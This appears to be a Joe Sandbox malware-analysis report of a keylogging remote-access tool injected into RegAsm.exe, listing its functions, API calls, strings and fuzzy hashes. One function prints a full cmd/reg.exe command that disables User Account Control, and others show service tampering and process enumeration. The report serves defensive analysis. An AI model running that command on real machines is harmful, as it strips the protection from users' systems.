                              Function 0041AC78 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041AC88
                              • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A38E,00000000), ref: 0041AC9C
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACA9
                              • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A38E,00000000), ref: 0041ACDE
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF0
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A38E,00000000), ref: 0041ACF3
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Service$CloseHandle$Open$ChangeConfigManager
                              • String ID:
                              • API String ID: 493672254-0
                              • Opcode ID: efec56fc5935d5a2572c80bdc1daad9799237a8c2fd258714d4154745ff5c6c1
                              • Instruction ID: ed0bae8235b77a8e2b5b4951a925fd67a34dfbd091713fce30693036f81a5133
                              • Opcode Fuzzy Hash: efec56fc5935d5a2572c80bdc1daad9799237a8c2fd258714d4154745ff5c6c1
                              • Instruction Fuzzy Hash: 84014E311452147BD6110B385C4DEFB3B5CDB42771F100317F925922D1EA68CD45B5EE
                              Function 00448215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                              • _free.LIBCMT ref: 0044824C
                              • _free.LIBCMT ref: 00448274
                              • SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 00448281
                              • SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                              • _abort.LIBCMT ref: 00448293
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$_free$_abort
                              • String ID:
                              • API String ID: 3160817290-0
                              • Opcode ID: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                              • Instruction ID: 1e51d54565af68f960eede883612623578b8b4ccb82fc25c91f14e3db4823c68
                              • Opcode Fuzzy Hash: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                              • Instruction Fuzzy Hash: 15F0F935104F006AF611332A6C05B5F2515ABC276AF25066FF92892292DFACCC4581AD
                              Function 0041AAA6 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAB5
                              • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAC9
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAD6
                              • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAE5
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAF7
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAFA
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Service$CloseHandle$Open$ControlManager
                              • String ID:
                              • API String ID: 221034970-0
                              • Opcode ID: 4ae3873c1f536b49cfb6b65ca2e5a3703e9976f2291b0d96870e63be56c21842
                              • Instruction ID: 651adf303b3d55a6ad93a9774d9c6d096703db2647e4265c62a250da7e042a32
                              • Opcode Fuzzy Hash: 4ae3873c1f536b49cfb6b65ca2e5a3703e9976f2291b0d96870e63be56c21842
                              • Instruction Fuzzy Hash: 68F0C231541218ABD711AF25AC49EFF3B6CDF45BA2F000026FE0992192DB68CD4695E9
                              Function 0041ABAA Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABB9
                              • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABCD
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABDA
                              • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABE9
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFB
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5A3,00000000), ref: 0041ABFE
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Service$CloseHandle$Open$ControlManager
                              • String ID:
                              • API String ID: 221034970-0
                              • Opcode ID: 81e2b4606ab98421978dc9842ef1edfa46dc1b90a9204ca08327dde20b0592b6
                              • Instruction ID: cdcae22f94af1ce7d279f83afe572816001e75aa845eac4345c2c81124f82824
                              • Opcode Fuzzy Hash: 81e2b4606ab98421978dc9842ef1edfa46dc1b90a9204ca08327dde20b0592b6
                              • Instruction Fuzzy Hash: 84F0C231501218ABD6116F259C49DFF3B6CDB45B62F40002AFE0996192EB38DD4595F9
                              Function 0041AC11 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC20
                              • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC34
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC41
                              • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC50
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC62
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A523,00000000), ref: 0041AC65
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Service$CloseHandle$Open$ControlManager
                              • String ID:
                              • API String ID: 221034970-0
                              • Opcode ID: fc89c5385e453168767847f65058b20f434ef67782af095c3a641765214ec1d0
                              • Instruction ID: 1af6be829003de2eeb85b71d4b0cbdb2c911632148e7083bdbbda8586ff13133
                              • Opcode Fuzzy Hash: fc89c5385e453168767847f65058b20f434ef67782af095c3a641765214ec1d0
                              • Instruction Fuzzy Hash: 2FF0F631501228BBD711AF25EC49DFF3B6CDB45B62F00002AFE0992192EB38CD4595F9
                              Function 00443435 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 116COMMON
                              Download Yara Rule
                              APIs
                              • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000104), ref: 00443475
                              • _free.LIBCMT ref: 00443540
                              • _free.LIBCMT ref: 0044354A
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$FileModuleName
                              • String ID: 82m$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              • API String ID: 2506810119-967563105
                              • Opcode ID: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                              • Instruction ID: 78b8e4ab202bb8962dfea6a4c95dea7b8c186c0554b41bb8e719afd17783d6d0
                              • Opcode Fuzzy Hash: c70776266e2bd8d98222b272a4c4964d73f1f6f6485ba9fff5740fbb3794026e
                              • Instruction Fuzzy Hash: 2E31C471A00258BFEB21DF999C8199EBBBCEF85B15F10406BF50497311D6B89F81CB98
                              Function 0040B164 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68timeCOMMON
                              Download Yara Rule
                              APIs
                              • GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 0040B172
                              • wsprintfW.USER32 ref: 0040B1F3
                                • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: EventLocalTimewsprintf
                              • String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
                              • API String ID: 1497725170-248792730
                              • Opcode ID: 65b46232fdee2079f17a48eaa96158f2453b4876d4296abcf31ffc0408f1bd52
                              • Instruction ID: 81b60f5d3581edaaac31e3e44e1e4f5c322996b2d8bf5e7d6f89c643b346fb92
                              • Opcode Fuzzy Hash: 65b46232fdee2079f17a48eaa96158f2453b4876d4296abcf31ffc0408f1bd52
                              • Instruction Fuzzy Hash: 82117F72504118AACB18AB96EC558FE77BCEE48315B00012FF506A60E1FF7C9E46C6AC
                              Function 0040A675 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                              • GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                              • Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                              • CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CloseCreateHandleSizeSleep
                              • String ID: XQG
                              • API String ID: 1958988193-3606453820
                              • Opcode ID: a936430ac144879a830ace31701bfe89764f94ae4ec5835598aad753144bf191
                              • Instruction ID: 2d5b847f40b6dc6d65e682cb961bc0859910b41d7418e35cc132b68a4a9af338
                              • Opcode Fuzzy Hash: a936430ac144879a830ace31701bfe89764f94ae4ec5835598aad753144bf191
                              • Instruction Fuzzy Hash: AD112B30600740EEE631A7249895A5F3B6AEB41356F48083AF2C26B6D2C6799CA0C35E
                              Function 0041D50F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ClassCreateErrorLastRegisterWindow
                              • String ID: 0$MsgWindowClass
                              • API String ID: 2877667751-2410386613
                              • Opcode ID: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                              • Instruction ID: 921741f364e14ac5d494c0d6481b3569f22aad0bbfd2e997b493b5423d792a6e
                              • Opcode Fuzzy Hash: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                              • Instruction Fuzzy Hash: 910129B1D00219BBDB00DFD5ECC49EFBBBDEA04355F40053AF900A6240E77859058AA4
                              Function 00407755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                              Download Yara Rule
                              APIs
                              • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040779B
                              • CloseHandle.KERNEL32(?), ref: 004077AA
                              • CloseHandle.KERNEL32(?), ref: 004077AF
                              Strings
                              • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 00407791
                              • C:\Windows\System32\cmd.exe, xrefs: 00407796
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseHandle$CreateProcess
                              • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                              • API String ID: 2922976086-4183131282
                              • Opcode ID: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                              • Instruction ID: bcd6b2dc2297655d1c2a6c7a9d844aadd79638dc8707381bf3a952a3ff6736b4
                              • Opcode Fuzzy Hash: 86afbde76f2a9426f4ed7e8e7c7881cd7a3c7ba11745d0fd7a0dc136aa7099f4
                              • Instruction Fuzzy Hash: BCF03676D4029D76CB20ABD6DC0EEDF7F7DEBC5B11F00056AF904A6141E6746404C6B9
                              Function 00407260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                              Download Yara Rule
                              Strings
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 004076C4
                              • SG, xrefs: 004076DA
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: SG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              • API String ID: 0-643455097
                              • Opcode ID: a5e5064d23fdb4a5105bb888b891a2001f99cf11455aefb2b8df45e89f9c3324
                              • Instruction ID: 1b954d03a55cc3c1a25a26db856d3c6076ddce7f3b9fad0ad77fefb3a3407f05
                              • Opcode Fuzzy Hash: a5e5064d23fdb4a5105bb888b891a2001f99cf11455aefb2b8df45e89f9c3324
                              • Instruction Fuzzy Hash: 2CF046B0F14A00EBCB0467655D186693A05A740356F404C77F907EA2F2EBBD5C41C61E
                              Function 0044333A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,004432EB,?,?,0044328B,?), ref: 0044335A
                              • GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,004432EB,?,?,0044328B,?), ref: 0044336D
                              • FreeLibrary.KERNEL32(00000000,?,?,?,004432EB,?,?,0044328B,?), ref: 00443390
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressFreeHandleLibraryModuleProc
                              • String ID: CorExitProcess$mscoree.dll
                              • API String ID: 4061214504-1276376045
                              • Opcode ID: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                              • Instruction ID: b4f1316bd170a33105784e50650a9bde6d9e9410588fddf83d5a1a7bf10dc45d
                              • Opcode Fuzzy Hash: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                              • Instruction Fuzzy Hash: 6AF0A430A00208FBDB149F55DC09B9EBFB4EF04713F0041A9FC05A2261CB349E40CA98
                              Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                              Download Yara Rule
                              APIs
                              • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405120
                              • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 0040512C
                              • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 00405137
                              • CloseHandle.KERNEL32(?), ref: 00405140
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                              • String ID: KeepAlive | Disabled
                              • API String ID: 2993684571-305739064
                              • Opcode ID: 11e320f67abdd95442ebe69be37ae07741154b3609cf10b7525108ad99fbffe3
                              • Instruction ID: c1447ea2195e795a2fa4d382ed9a15925dec3dc8ccf256ab7d783030aa8980db
                              • Opcode Fuzzy Hash: 11e320f67abdd95442ebe69be37ae07741154b3609cf10b7525108ad99fbffe3
                              • Instruction Fuzzy Hash: 4CF06271904711BBDB103B758D0A66B7A54AB02311F0009BEF982916E2D6798840CF9A
                              Function 0041ADC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041ADF2
                              • PlaySoundW.WINMM(00000000,00000000), ref: 0041AE00
                              • Sleep.KERNEL32(00002710), ref: 0041AE07
                              • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AE10
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: PlaySound$HandleLocalModuleSleepTime
                              • String ID: Alarm triggered
                              • API String ID: 614609389-2816303416
                              • Opcode ID: 458a9fadc2ddf1b51f38526f332080559b1bee2397fd5821544ba6e308cf5034
                              • Instruction ID: 9c0713ce1321a11b0f254193fe9a85ef30a97b7eb59a64372af151f10574a600
                              • Opcode Fuzzy Hash: 458a9fadc2ddf1b51f38526f332080559b1bee2397fd5821544ba6e308cf5034
                              • Instruction Fuzzy Hash: 36E01226B44260779620377B6D4FD6F3D28DAC2B5170100BEFA0666192D9580C4586FB
                              Function 0041CD58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                              Download Yara Rule
                              APIs
                              • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CDED), ref: 0041CD62
                              • GetConsoleScreenBufferInfo.KERNEL32 ref: 0041CD6F
                              • SetConsoleTextAttribute.KERNEL32(00000000,0000000C), ref: 0041CD7C
                              • SetConsoleTextAttribute.KERNEL32(00000000,?), ref: 0041CD8F
                              Strings
                              • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CD82
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Console$AttributeText$BufferHandleInfoScreen
                              • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                              • API String ID: 3024135584-2418719853
                              • Opcode ID: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                              • Instruction ID: 0b88db63cd78dea0703aeaf814a7171c31f7e2e6e0b1944ffb711cb25cf7542c
                              • Opcode Fuzzy Hash: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                              • Instruction Fuzzy Hash: B4E04872904315E7E31027B5EC4DDAB7B7CE745713B100266FA12915D39A749C40C6B5
                              Function 0044139A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d82b14c4b7eddcab2a525b8a5736e815382cccc6b286473e45e20a4a09cb7dcc
                              • Instruction ID: 3288ceb70b28299b768e57bc56a65f905b411dc47ae91625c595fe6b39b3afde
                              • Opcode Fuzzy Hash: d82b14c4b7eddcab2a525b8a5736e815382cccc6b286473e45e20a4a09cb7dcc
                              • Instruction Fuzzy Hash: 4D71C431900256ABEF21CF55C884AFFBBB5EF95350F14012BE812A72A1D7748CC1CBA9
                              Function 00444CFB Relevance: 7.7, APIs: 5, Instructions: 187COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                              • _free.LIBCMT ref: 00444E06
                              • _free.LIBCMT ref: 00444E1D
                              • _free.LIBCMT ref: 00444E3C
                              • _free.LIBCMT ref: 00444E57
                              • _free.LIBCMT ref: 00444E6E
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$AllocateHeap
                              • String ID:
                              • API String ID: 3033488037-0
                              • Opcode ID: 40f9e7cc2be6d4603e073625857eb528f872492eb2fa809e82d56bfb9c8f3841
                              • Instruction ID: 75a60bec03265776b93b53542ea819fdab521e44af267d44e1f719a945e8e2e2
                              • Opcode Fuzzy Hash: 40f9e7cc2be6d4603e073625857eb528f872492eb2fa809e82d56bfb9c8f3841
                              • Instruction Fuzzy Hash: 5451D371A00704AFEB20DF6AC841B6673F4FF85729B14456EE819D7250E739EE01CB88
                              Function 00449365 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                              • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                              • _free.LIBCMT ref: 004493BD
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • _free.LIBCMT ref: 00449589
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                              • String ID:
                              • API String ID: 1286116820-0
                              • Opcode ID: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                              • Instruction ID: c95a83c4fc9d8f5f381c6ef12c4bd90d50aad01b0883e3b7d6e96279f2ead045
                              • Opcode Fuzzy Hash: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                              • Instruction Fuzzy Hash: 71511A71904205EBEB14EFA9DD819AFB7BCEF44324F10066FE51493291EB788E42DB58
                              Function 0040F8FD Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                              • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F91B
                              • Process32FirstW.KERNEL32(00000000,?), ref: 0040F93F
                              • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F94E
                              • CloseHandle.KERNEL32(00000000), ref: 0040FB05
                                • Part of subcall function 0041BFE5: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F5F9,00000000,?,?,00475338), ref: 0041BFFA
                                • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                                • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                              • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FAF6
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Process$OpenProcess32$Next$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                              • String ID:
                              • API String ID: 4269425633-0
                              • Opcode ID: 6f51e59ffccac79a8cfa31e78c91a9a185d84b91a830793d1a1b18643491f6ec
                              • Instruction ID: d179df5438ecf7187d550cf9263b6860c2801d48d571b2859f9d543a591e132f
                              • Opcode Fuzzy Hash: 6f51e59ffccac79a8cfa31e78c91a9a185d84b91a830793d1a1b18643491f6ec
                              • Instruction Fuzzy Hash: 784116311083419BC325F722DC55AEFB3A5AF94345F50493EF48A921E2EF385A49C75A
                              Function 00443DF9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free
                              • String ID:
                              • API String ID: 269201875-0
                              • Opcode ID: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                              • Instruction ID: 5dce3a056f7b38871bf3701478ebec2c01ef4ac0d1e4adeac0a27022f106ca0c
                              • Opcode Fuzzy Hash: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                              • Instruction Fuzzy Hash: 0741F536A012009FEB20DF78C881A5EB3F1EF89B14F2545AEE515EB341DB35AE01CB84
                              Function 0045112C Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • MultiByteToWideChar.KERNEL32(?,00000000,?,00000000,00000000,00000000,0042DD01,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01), ref: 00451179
                              • __alloca_probe_16.LIBCMT ref: 004511B1
                              • MultiByteToWideChar.KERNEL32(?,00000001,?,00000000,00000000,0042DD01,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01,?), ref: 00451202
